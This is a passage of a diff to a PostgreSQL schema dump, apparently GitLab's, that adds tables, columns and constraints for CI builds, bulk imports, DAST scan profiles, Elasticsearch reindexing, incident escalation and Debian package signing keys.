+ export_id bigint NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ export_file text,
+ CONSTRAINT check_5add76239d CHECK ((char_length(export_file) <= 255))
+);
+
+CREATE SEQUENCE bulk_import_export_uploads_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE bulk_import_export_uploads_id_seq OWNED BY bulk_import_export_uploads.id;
+
+CREATE TABLE bulk_import_exports (
+ id bigint NOT NULL,
+ group_id bigint,
+ project_id bigint,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ status smallint DEFAULT 0 NOT NULL,
+ relation text NOT NULL,
+ jid text,
+ error text,
+ CONSTRAINT check_24cb010672 CHECK ((char_length(relation) <= 255)),
+ CONSTRAINT check_8f0f357334 CHECK ((char_length(error) <= 255)),
+ CONSTRAINT check_9ee6d14d33 CHECK ((char_length(jid) <= 255))
+);
+
+CREATE SEQUENCE bulk_import_exports_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE bulk_import_exports_id_seq OWNED BY bulk_import_exports.id;
+
CREATE TABLE bulk_import_failures (
id bigint NOT NULL,
bulk_import_entity_id bigint NOT NULL,
@@ -10152,8 +10673,12 @@ CREATE TABLE bulk_import_trackers (
relation text NOT NULL,
next_page text,
has_next_page boolean DEFAULT false NOT NULL,
+ jid text,
+ stage smallint DEFAULT 0 NOT NULL,
+ status smallint DEFAULT 0 NOT NULL,
CONSTRAINT check_2d45cae629 CHECK ((char_length(relation) <= 255)),
CONSTRAINT check_40aeaa600b CHECK ((char_length(next_page) <= 255)),
+ CONSTRAINT check_603f91cb06 CHECK ((char_length(jid) <= 255)),
CONSTRAINT check_next_page_requirement CHECK (((has_next_page IS FALSE) OR (next_page IS NOT NULL)))
);
@@ -10231,7 +10756,8 @@ CREATE TABLE ci_build_needs (
build_id integer NOT NULL,
name text NOT NULL,
artifacts boolean DEFAULT true NOT NULL,
- optional boolean DEFAULT false NOT NULL
+ optional boolean DEFAULT false NOT NULL,
+ build_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE SEQUENCE ci_build_needs_id_seq
@@ -10286,7 +10812,8 @@ CREATE TABLE ci_build_trace_chunks (
data_store integer NOT NULL,
raw_data bytea,
checksum bytea,
- lock_version integer DEFAULT 0 NOT NULL
+ lock_version integer DEFAULT 0 NOT NULL,
+ build_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE SEQUENCE ci_build_trace_chunks_id_seq
@@ -10321,7 +10848,8 @@ CREATE TABLE ci_build_trace_sections (
byte_start bigint NOT NULL,
byte_end bigint NOT NULL,
build_id integer NOT NULL,
- section_name_id integer NOT NULL
+ section_name_id integer NOT NULL,
+ build_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE TABLE ci_builds (
@@ -10369,7 +10897,9 @@ CREATE TABLE ci_builds (
processed boolean,
resource_group_id bigint,
waiting_for_resource_at timestamp with time zone,
- scheduling_type smallint
+ scheduling_type smallint,
+ id_convert_to_bigint bigint DEFAULT 0 NOT NULL,
+ stage_id_convert_to_bigint bigint
);
CREATE SEQUENCE ci_builds_id_seq
@@ -10394,7 +10924,8 @@ CREATE TABLE ci_builds_metadata (
has_exposed_artifacts boolean,
environment_auto_stop_in character varying(255),
expanded_environment_name character varying(255),
- secrets jsonb DEFAULT '{}'::jsonb NOT NULL
+ secrets jsonb DEFAULT '{}'::jsonb NOT NULL,
+ build_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE SEQUENCE ci_builds_metadata_id_seq
@@ -10412,7 +10943,8 @@ CREATE TABLE ci_builds_runner_session (
build_id integer NOT NULL,
url character varying NOT NULL,
certificate character varying,
- "authorization" character varying
+ "authorization" character varying,
+ build_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE SEQUENCE ci_builds_runner_session_id_seq
@@ -10498,7 +11030,8 @@ CREATE TABLE ci_group_variables (
updated_at timestamp with time zone NOT NULL,
masked boolean DEFAULT false NOT NULL,
variable_type smallint DEFAULT 1 NOT NULL,
- environment_scope text DEFAULT '*'::text NOT NULL
+ environment_scope text DEFAULT '*'::text NOT NULL,
+ CONSTRAINT check_dfe009485a CHECK ((char_length(environment_scope) <= 255))
);
CREATE SEQUENCE ci_group_variables_id_seq
@@ -10547,6 +11080,8 @@ CREATE TABLE ci_job_artifacts (
file_sha256 bytea,
file_format smallint,
file_location smallint,
+ id_convert_to_bigint bigint DEFAULT 0 NOT NULL,
+ job_id_convert_to_bigint bigint DEFAULT 0 NOT NULL,
CONSTRAINT check_27f0f6dbab CHECK ((file_store IS NOT NULL))
);
@@ -10560,6 +11095,23 @@ CREATE SEQUENCE ci_job_artifacts_id_seq
ALTER SEQUENCE ci_job_artifacts_id_seq OWNED BY ci_job_artifacts.id;
+CREATE TABLE ci_job_token_project_scope_links (
+ id bigint NOT NULL,
+ source_project_id bigint NOT NULL,
+ target_project_id bigint NOT NULL,
+ added_by_id bigint,
+ created_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE ci_job_token_project_scope_links_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_job_token_project_scope_links_id_seq OWNED BY ci_job_token_project_scope_links.id;
+
CREATE TABLE ci_job_variables (
id bigint NOT NULL,
key character varying NOT NULL,
@@ -10579,6 +11131,26 @@ CREATE SEQUENCE ci_job_variables_id_seq
ALTER SEQUENCE ci_job_variables_id_seq OWNED BY ci_job_variables.id;
+CREATE TABLE ci_minutes_additional_packs (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ namespace_id bigint NOT NULL,
+ expires_at date,
+ number_of_minutes integer NOT NULL,
+ purchase_xid text,
+ CONSTRAINT check_d7ef254af0 CHECK ((char_length(purchase_xid) <= 32))
+);
+
+CREATE SEQUENCE ci_minutes_additional_packs_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_minutes_additional_packs_id_seq OWNED BY ci_minutes_additional_packs.id;
+
CREATE TABLE ci_namespace_monthly_usages (
id bigint NOT NULL,
namespace_id bigint NOT NULL,
@@ -10597,6 +11169,22 @@ CREATE SEQUENCE ci_namespace_monthly_usages_id_seq
ALTER SEQUENCE ci_namespace_monthly_usages_id_seq OWNED BY ci_namespace_monthly_usages.id;
+CREATE TABLE ci_pending_builds (
+ id bigint NOT NULL,
+ build_id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ created_at timestamp with time zone DEFAULT now() NOT NULL
+);
+
+CREATE SEQUENCE ci_pending_builds_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_pending_builds_id_seq OWNED BY ci_pending_builds.id;
+
CREATE TABLE ci_pipeline_artifacts (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -10609,8 +11197,16 @@ CREATE TABLE ci_pipeline_artifacts (
file_format smallint NOT NULL,
file text,
expire_at timestamp with time zone,
+ verification_started_at timestamp with time zone,
+ verification_retry_at timestamp with time zone,
+ verified_at timestamp with time zone,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_retry_count smallint,
+ verification_checksum bytea,
+ verification_failure text,
CONSTRAINT check_191b5850ec CHECK ((char_length(file) <= 255)),
- CONSTRAINT check_abeeb71caf CHECK ((file IS NOT NULL))
+ CONSTRAINT check_abeeb71caf CHECK ((file IS NOT NULL)),
+ CONSTRAINT ci_pipeline_artifacts_verification_failure_text_limit CHECK ((char_length(verification_failure) <= 255))
);
CREATE SEQUENCE ci_pipeline_artifacts_id_seq
@@ -10920,7 +11516,8 @@ CREATE TABLE ci_runners (
runner_type smallint NOT NULL,
token_encrypted character varying,
public_projects_minutes_cost_factor double precision DEFAULT 0.0 NOT NULL,
- private_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL
+ private_projects_minutes_cost_factor double precision DEFAULT 1.0 NOT NULL,
+ config jsonb DEFAULT '{}'::jsonb NOT NULL
);
CREATE SEQUENCE ci_runners_id_seq
@@ -10933,13 +11530,32 @@ CREATE SEQUENCE ci_runners_id_seq
ALTER SEQUENCE ci_runners_id_seq OWNED BY ci_runners.id;
+CREATE TABLE ci_running_builds (
+ id bigint NOT NULL,
+ build_id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ runner_id bigint NOT NULL,
+ created_at timestamp with time zone DEFAULT now() NOT NULL,
+ runner_type smallint NOT NULL
+);
+
+CREATE SEQUENCE ci_running_builds_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_running_builds_id_seq OWNED BY ci_running_builds.id;
+
CREATE TABLE ci_sources_pipelines (
id integer NOT NULL,
project_id integer,
pipeline_id integer,
source_project_id integer,
source_job_id integer,
- source_pipeline_id integer
+ source_pipeline_id integer,
+ source_job_id_convert_to_bigint bigint
);
CREATE SEQUENCE ci_sources_pipelines_id_seq
@@ -11076,6 +11692,42 @@ CREATE SEQUENCE ci_triggers_id_seq
ALTER SEQUENCE ci_triggers_id_seq OWNED BY ci_triggers.id;
+CREATE TABLE ci_unit_test_failures (
+ id bigint NOT NULL,
+ failed_at timestamp with time zone NOT NULL,
+ unit_test_id bigint NOT NULL,
+ build_id bigint NOT NULL
+);
+
+CREATE SEQUENCE ci_unit_test_failures_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_unit_test_failures_id_seq OWNED BY ci_unit_test_failures.id;
+
+CREATE TABLE ci_unit_tests (
+ id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ key_hash text NOT NULL,
+ name text NOT NULL,
+ suite_name text NOT NULL,
+ CONSTRAINT check_248fae1a3b CHECK ((char_length(name) <= 255)),
+ CONSTRAINT check_b288215ffe CHECK ((char_length(key_hash) <= 64)),
+ CONSTRAINT check_c2d57b3c49 CHECK ((char_length(suite_name) <= 255))
+);
+
+CREATE SEQUENCE ci_unit_tests_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_unit_tests_id_seq OWNED BY ci_unit_tests.id;
+
CREATE TABLE ci_variables (
id integer NOT NULL,
key character varying NOT NULL,
@@ -11109,6 +11761,8 @@ CREATE TABLE cluster_agent_tokens (
created_by_user_id bigint,
description text,
name text,
+ last_used_at timestamp with time zone,
+ CONSTRAINT check_0fb634d04d CHECK ((name IS NOT NULL)),
CONSTRAINT check_2b79dbb315 CHECK ((char_length(name) <= 255)),
CONSTRAINT check_4e4ec5070a CHECK ((char_length(description) <= 1024)),
CONSTRAINT check_c60daed227 CHECK ((char_length(token_encrypted) <= 255))
@@ -11535,6 +12189,24 @@ CREATE SEQUENCE clusters_id_seq
ALTER SEQUENCE clusters_id_seq OWNED BY clusters.id;
+CREATE TABLE clusters_integration_elasticstack (
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ cluster_id bigint NOT NULL,
+ enabled boolean DEFAULT false NOT NULL,
+ chart_version text,
+ CONSTRAINT check_f8d671ce04 CHECK ((char_length(chart_version) <= 10))
+);
+
+CREATE TABLE clusters_integration_prometheus (
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ cluster_id bigint NOT NULL,
+ enabled boolean DEFAULT false NOT NULL,
+ encrypted_alert_manager_token text,
+ encrypted_alert_manager_token_iv text
+);
+
CREATE TABLE clusters_kubernetes_namespaces (
id bigint NOT NULL,
cluster_id integer NOT NULL,
@@ -11747,6 +12419,13 @@ CREATE SEQUENCE dast_profiles_id_seq
ALTER SEQUENCE dast_profiles_id_seq OWNED BY dast_profiles.id;
+CREATE TABLE dast_profiles_pipelines (
+ dast_profile_id bigint NOT NULL,
+ ci_pipeline_id bigint NOT NULL
+);
+
+COMMENT ON TABLE dast_profiles_pipelines IS '{"owner":"group::dynamic analysis","description":"Join table between DAST Profiles and CI Pipelines"}';
+
CREATE TABLE dast_scanner_profiles (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -11770,6 +12449,31 @@ CREATE SEQUENCE dast_scanner_profiles_id_seq
ALTER SEQUENCE dast_scanner_profiles_id_seq OWNED BY dast_scanner_profiles.id;
+CREATE TABLE dast_site_profile_secret_variables (
+ id bigint NOT NULL,
+ dast_site_profile_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ variable_type smallint DEFAULT 1 NOT NULL,
+ key text NOT NULL,
+ encrypted_value bytea NOT NULL,
+ encrypted_value_iv bytea NOT NULL,
+ CONSTRAINT check_236213f179 CHECK ((length(encrypted_value) <= 13352)),
+ CONSTRAINT check_8cbef204b2 CHECK ((char_length(key) <= 255)),
+ CONSTRAINT check_b49080abbf CHECK ((length(encrypted_value_iv) <= 17))
+);
+
+COMMENT ON TABLE dast_site_profile_secret_variables IS '{"owner":"group::dynamic analysis","description":"Secret variables used in DAST on-demand scans"}';
+
+CREATE SEQUENCE dast_site_profile_secret_variables_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE dast_site_profile_secret_variables_id_seq OWNED BY dast_site_profile_secret_variables.id;
+
CREATE TABLE dast_site_profiles (
id bigint NOT NULL,
project_id bigint NOT NULL,
@@ -11777,7 +12481,18 @@ CREATE TABLE dast_site_profiles (
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
name text NOT NULL,
- CONSTRAINT check_6cfab17b48 CHECK ((char_length(name) <= 255))
+ excluded_urls text[] DEFAULT '{}'::text[] NOT NULL,
+ auth_enabled boolean DEFAULT false NOT NULL,
+ auth_url text,
+ auth_username_field text,
+ auth_password_field text,
+ auth_username text,
+ target_type smallint DEFAULT 0 NOT NULL,
+ CONSTRAINT check_5203110fee CHECK ((char_length(auth_username_field) <= 255)),
+ CONSTRAINT check_6cfab17b48 CHECK ((char_length(name) <= 255)),
+ CONSTRAINT check_c329dffdba CHECK ((char_length(auth_password_field) <= 255)),
+ CONSTRAINT check_d446f7047b CHECK ((char_length(auth_url) <= 1024)),
+ CONSTRAINT check_f22f18002a CHECK ((char_length(auth_username) <= 255))
);
CREATE SEQUENCE dast_site_profiles_id_seq
@@ -11789,6 +12504,13 @@ CREATE SEQUENCE dast_site_profiles_id_seq
ALTER SEQUENCE dast_site_profiles_id_seq OWNED BY dast_site_profiles.id;
+CREATE TABLE dast_site_profiles_pipelines (
+ dast_site_profile_id bigint NOT NULL,
+ ci_pipeline_id bigint NOT NULL
+);
+
+COMMENT ON TABLE dast_site_profiles_pipelines IS '{"owner":"group::dynamic analysis","description":"Join table between DAST Site Profiles and CI Pipelines"}';
+
CREATE TABLE dast_site_tokens (
id bigint NOT NULL,
project_id bigint NOT NULL,
@@ -11995,7 +12717,8 @@ CREATE TABLE deployments (
on_stop character varying,
finished_at timestamp with time zone,
status smallint NOT NULL,
- cluster_id integer
+ cluster_id integer,
+ deployable_id_convert_to_bigint bigint
);
CREATE SEQUENCE deployments_id_seq
@@ -12165,13 +12888,53 @@ CREATE SEQUENCE draft_notes_id_seq
ALTER SEQUENCE draft_notes_id_seq OWNED BY draft_notes.id;
+CREATE TABLE elastic_index_settings (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ number_of_replicas smallint DEFAULT 1 NOT NULL,
+ number_of_shards smallint DEFAULT 5 NOT NULL,
+ alias_name text NOT NULL,
+ CONSTRAINT check_c30005c325 CHECK ((char_length(alias_name) <= 255))
+);
+
+CREATE SEQUENCE elastic_index_settings_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE elastic_index_settings_id_seq OWNED BY elastic_index_settings.id;
+
+CREATE TABLE elastic_reindexing_slices (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ elastic_reindexing_subtask_id bigint NOT NULL,
+ elastic_slice smallint DEFAULT 0 NOT NULL,
+ elastic_max_slice smallint DEFAULT 0 NOT NULL,
+ retry_attempt smallint DEFAULT 0 NOT NULL,
+ elastic_task text,
+ CONSTRAINT check_ca30e1396e CHECK ((char_length(elastic_task) <= 255))
+);
+
+CREATE SEQUENCE elastic_reindexing_slices_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE elastic_reindexing_slices_id_seq OWNED BY elastic_reindexing_slices.id;
+
CREATE TABLE elastic_reindexing_subtasks (
id bigint NOT NULL,
elastic_reindexing_task_id bigint NOT NULL,
alias_name text NOT NULL,
index_name_from text NOT NULL,
index_name_to text NOT NULL,
- elastic_task text NOT NULL,
+ elastic_task text,
documents_count_target integer,
documents_count integer,
created_at timestamp with time zone NOT NULL,
@@ -12204,6 +12967,8 @@ CREATE TABLE elastic_reindexing_tasks (
error_message text,
documents_count_target integer,
delete_original_index_at timestamp with time zone,
+ max_slices_running smallint DEFAULT 60 NOT NULL,
+ slice_multiplier smallint DEFAULT 2 NOT NULL,
CONSTRAINT check_04151aca42 CHECK ((char_length(index_name_from) <= 255)),
CONSTRAINT check_7f64acda8e CHECK ((char_length(error_message) <= 255)),
CONSTRAINT check_85ebff7124 CHECK ((char_length(index_name_to) <= 255)),
@@ -12387,6 +13152,7 @@ CREATE TABLE events (
target_type character varying,
group_id bigint,
fingerprint bytea,
+ id_convert_to_bigint bigint DEFAULT 0 NOT NULL,
CONSTRAINT check_97e06e05ad CHECK ((octet_length(fingerprint) <= 128))
);
@@ -12422,14 +13188,14 @@ CREATE TABLE experiment_subjects (
id bigint NOT NULL,
experiment_id bigint NOT NULL,
user_id bigint,
- group_id bigint,
project_id bigint,
variant smallint DEFAULT 0 NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
converted_at timestamp with time zone,
context jsonb DEFAULT '{}'::jsonb NOT NULL,
- CONSTRAINT chk_has_one_subject CHECK ((num_nonnulls(user_id, group_id, project_id) = 1))
+ namespace_id bigint,
+ CONSTRAINT check_f6411bc4b5 CHECK ((num_nonnulls(user_id, namespace_id, project_id) = 1))
);
CREATE SEQUENCE experiment_subjects_id_seq
@@ -12719,7 +13485,8 @@ ALTER SEQUENCE geo_hashed_storage_migrated_events_id_seq OWNED BY geo_hashed_sto
CREATE TABLE geo_job_artifact_deleted_events (
id bigint NOT NULL,
job_artifact_id integer NOT NULL,
- file_path character varying NOT NULL
+ file_path character varying NOT NULL,
+ job_artifact_id_convert_to_bigint bigint DEFAULT 0 NOT NULL
);
CREATE SEQUENCE geo_job_artifact_deleted_events_id_seq
@@ -13006,7 +13773,8 @@ CREATE TABLE gitlab_subscription_histories (
gitlab_subscription_id bigint NOT NULL,
created_at timestamp with time zone,
trial_starts_on date,
- auto_renew boolean
+ auto_renew boolean,
+ trial_extension_type smallint
);
CREATE SEQUENCE gitlab_subscription_histories_id_seq
@@ -13033,7 +13801,9 @@ CREATE TABLE gitlab_subscriptions (
trial_starts_on date,
auto_renew boolean,
seats_in_use integer DEFAULT 0 NOT NULL,
- seats_owed integer DEFAULT 0 NOT NULL
+ seats_owed integer DEFAULT 0 NOT NULL,
+ trial_extension_type smallint,
+ CONSTRAINT check_77fea3f0e7 CHECK ((namespace_id IS NOT NULL))
);
CREATE SEQUENCE gitlab_subscriptions_id_seq
@@ -13255,7 +14025,11 @@ CREATE TABLE group_merge_request_approval_settings (
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
group_id bigint NOT NULL,
- allow_author_approval boolean DEFAULT false NOT NULL
+ allow_author_approval boolean DEFAULT false NOT NULL,
+ allow_committer_approval boolean DEFAULT false NOT NULL,
+ allow_overrides_to_approver_list_per_merge_request boolean DEFAULT false NOT NULL,
+ retain_approvals_on_push boolean DEFAULT false NOT NULL,
+ require_password_to_approve boolean DEFAULT false NOT NULL
);
CREATE TABLE group_repository_storage_moves (
@@ -13333,7 +14107,9 @@ CREATE TABLE import_export_uploads (
project_id integer,
import_file text,
export_file text,
- group_id bigint
+ group_id bigint,
+ remote_import_url text,
+ CONSTRAINT check_58f0d37481 CHECK ((char_length(remote_import_url) <= 512))
);
CREATE SEQUENCE import_export_uploads_id_seq
@@ -13369,6 +14145,60 @@ CREATE SEQUENCE import_failures_id_seq
ALTER SEQUENCE import_failures_id_seq OWNED BY import_failures.id;
+CREATE TABLE in_product_marketing_emails (
+ id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ cta_clicked_at timestamp with time zone,
+ track smallint NOT NULL,
+ series smallint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL
+);
+
+CREATE SEQUENCE in_product_marketing_emails_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE in_product_marketing_emails_id_seq OWNED BY in_product_marketing_emails.id;
+
+CREATE TABLE incident_management_escalation_policies (
+ id bigint NOT NULL,
+ project_id bigint NOT NULL,
+ name text NOT NULL,
+ description text,
+ CONSTRAINT check_510b2a5258 CHECK ((char_length(description) <= 160)),
+ CONSTRAINT check_9a26365850 CHECK ((char_length(name) <= 72))
+);
+
+CREATE SEQUENCE incident_management_escalation_policies_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE incident_management_escalation_policies_id_seq OWNED BY incident_management_escalation_policies.id;
+
+CREATE TABLE incident_management_escalation_rules (
+ id bigint NOT NULL,
+ policy_id bigint NOT NULL,
+ oncall_schedule_id bigint NOT NULL,
+ status smallint NOT NULL,
+ elapsed_time_seconds integer NOT NULL
+);
+
+CREATE SEQUENCE incident_management_escalation_rules_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE incident_management_escalation_rules_id_seq OWNED BY incident_management_escalation_rules.id;
+
CREATE TABLE incident_management_oncall_participants (
id bigint NOT NULL,
oncall_rotation_id bigint NOT NULL,
@@ -13747,6 +14577,9 @@ CREATE TABLE iterations_cadences (
active boolean DEFAULT true NOT NULL,
automatic boolean DEFAULT true NOT NULL,
title text NOT NULL,
+ roll_over boolean DEFAULT false NOT NULL,
+ description text,
+ CONSTRAINT check_5c5d2b44bd CHECK ((char_length(description) <= 5000)),
CONSTRAINT check_fedff82d3b CHECK ((char_length(title) <= 255))
);
@@ -13764,7 +14597,9 @@ CREATE TABLE jira_connect_installations (
client_key character varying,
encrypted_shared_secret character varying,
encrypted_shared_secret_iv character varying,
- base_url character varying
+ base_url character varying,
+ instance_url text,
+ CONSTRAINT check_4c6abed669 CHECK ((char_length(instance_url) <= 255))
);
CREATE SEQUENCE jira_connect_installations_id_seq
@@ -13842,14 +14677,6 @@ CREATE TABLE jira_tracker_data (
deployment_type smallint DEFAULT 0 NOT NULL,
vulnerabilities_issuetype text,
vulnerabilities_enabled boolean DEFAULT false NOT NULL,
- encrypted_proxy_address text,
- encrypted_proxy_address_iv text,
- encrypted_proxy_port text,
- encrypted_proxy_port_iv text,
- encrypted_proxy_username text,
- encrypted_proxy_username_iv text,
- encrypted_proxy_password text,
- encrypted_proxy_password_iv text,
jira_issue_transition_automatic boolean DEFAULT false NOT NULL,
CONSTRAINT check_0bf84b76e9 CHECK ((char_length(vulnerabilities_issuetype) <= 255)),
CONSTRAINT check_214cf6a48b CHECK ((char_length(project_key) <= 255))
@@ -13876,7 +14703,9 @@ CREATE TABLE keys (
public boolean DEFAULT false NOT NULL,
last_used_at timestamp without time zone,
fingerprint_sha256 bytea,
- expires_at timestamp with time zone
+ expires_at timestamp with time zone,
+ expiry_notification_delivered_at timestamp with time zone,
+ before_expiry_notification_delivered_at timestamp with time zone
);
CREATE SEQUENCE keys_id_seq
@@ -14035,7 +14864,8 @@ CREATE TABLE licenses (
id integer NOT NULL,
data text NOT NULL,
created_at timestamp without time zone,
- updated_at timestamp without time zone
+ updated_at timestamp without time zone,
+ cloud boolean DEFAULT false
);
CREATE SEQUENCE licenses_id_seq
@@ -14213,6 +15043,24 @@ CREATE SEQUENCE merge_request_context_commits_id_seq
ALTER SEQUENCE merge_request_context_commits_id_seq OWNED BY merge_request_context_commits.id;
+CREATE TABLE merge_request_diff_commit_users (
+ id bigint NOT NULL,
+ name text,
+ email text,
+ CONSTRAINT check_147358fc42 CHECK ((char_length(name) <= 512)),
+ CONSTRAINT check_f5fa206cf7 CHECK ((char_length(email) <= 512)),
+ CONSTRAINT merge_request_diff_commit_users_name_or_email_existence CHECK (((COALESCE(name, ''::text) <> ''::text) OR (COALESCE(email, ''::text) <> ''::text)))
+);
+
+CREATE SEQUENCE merge_request_diff_commit_users_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE merge_request_diff_commit_users_id_seq OWNED BY merge_request_diff_commit_users.id;
+
CREATE TABLE merge_request_diff_commits (
authored_date timestamp with time zone,
committed_date timestamp with time zone,
@@ -14224,7 +15072,9 @@ CREATE TABLE merge_request_diff_commits (
committer_name text,
committer_email text,
message text,
- trailers jsonb DEFAULT '{}'::jsonb NOT NULL
+ trailers jsonb DEFAULT '{}'::jsonb NOT NULL,
+ commit_author_id bigint,
+ committer_id bigint
);
CREATE TABLE merge_request_diff_details (
@@ -14234,6 +15084,8 @@ CREATE TABLE merge_request_diff_details (
verification_retry_count smallint,
verification_checksum bytea,
verification_failure text,
+ verification_state smallint DEFAULT 0 NOT NULL,
+ verification_started_at timestamp with time zone,
CONSTRAINT check_81429e3622 CHECK ((char_length(verification_failure) <= 255))
);
@@ -14406,7 +15258,8 @@ CREATE TABLE merge_requests (
rebase_jid character varying,
squash_commit_sha bytea,
sprint_id bigint,
- merge_ref_sha bytea
+ merge_ref_sha bytea,
+ draft boolean DEFAULT false NOT NULL
);
CREATE TABLE merge_requests_closing_issues (
@@ -14574,6 +15427,9 @@ CREATE TABLE namespace_package_settings (
namespace_id bigint NOT NULL,
maven_duplicates_allowed boolean DEFAULT true NOT NULL,
maven_duplicate_exception_regex text DEFAULT ''::text NOT NULL,
+ generic_duplicates_allowed boolean DEFAULT true NOT NULL,
+ generic_duplicate_exception_regex text DEFAULT ''::text NOT NULL,
+ CONSTRAINT check_31340211b1 CHECK ((char_length(generic_duplicate_exception_regex) <= 255)),
CONSTRAINT check_d63274b2b6 CHECK ((char_length(maven_duplicate_exception_regex) <= 255))
);
@@ -14609,7 +15465,10 @@ CREATE TABLE namespace_settings (
allow_mfa_for_subgroups boolean DEFAULT true NOT NULL,
default_branch_name text,
repository_read_only boolean DEFAULT false NOT NULL,
- delayed_project_removal boolean DEFAULT false NOT NULL,
+ delayed_project_removal boolean,
+ lock_delayed_project_removal boolean DEFAULT false NOT NULL,
+ resource_access_token_creation_allowed boolean DEFAULT true NOT NULL,
+ prevent_sharing_groups_outside_hierarchy boolean DEFAULT false NOT NULL,
CONSTRAINT check_0ba93c78c7 CHECK ((char_length(default_branch_name) <= 255))
);
@@ -14743,7 +15602,8 @@ CREATE TABLE notes (
change_position text,
resolved_by_push boolean,
review_id bigint,
- confidential boolean
+ confidential boolean,
+ last_edited_at timestamp with time zone
);
CREATE SEQUENCE notes_id_seq
@@ -15230,6 +16090,30 @@ CREATE SEQUENCE packages_debian_group_components_id_seq
ALTER SEQUENCE packages_debian_group_components_id_seq OWNED BY packages_debian_group_components.id;
+CREATE TABLE packages_debian_group_distribution_keys (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ distribution_id bigint NOT NULL,
+ encrypted_private_key text NOT NULL,
+ encrypted_private_key_iv text NOT NULL,
+ encrypted_passphrase text NOT NULL,
+ encrypted_passphrase_iv text NOT NULL,
+ public_key text NOT NULL,
+ fingerprint text NOT NULL,
+ CONSTRAINT check_bc95dc3fbe CHECK ((char_length(fingerprint) <= 255)),
+ CONSTRAINT check_f708183491 CHECK ((char_length(public_key) <= 524288))
+);
+
+CREATE SEQUENCE packages_debian_group_distribution_keys_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE packages_debian_group_distribution_keys_id_seq OWNED BY packages_debian_group_distribution_keys.id;
+
CREATE TABLE packages_debian_group_distributions (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -15332,6 +16216,30 @@ CREATE SEQUENCE packages_debian_project_components_id_seq
ALTER SEQUENCE packages_debian_project_components_id_seq OWNED BY packages_debian_project_components.id;
+CREATE TABLE packages_debian_project_distribution_keys (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ distribution_id bigint NOT NULL,
+ encrypted_private_key text NOT NULL,
+ encrypted_private_key_iv text NOT NULL,
+ encrypted_passphrase text NOT NULL,
+ encrypted_passphrase_iv text NOT NULL,
+ public_key text NOT NULL,
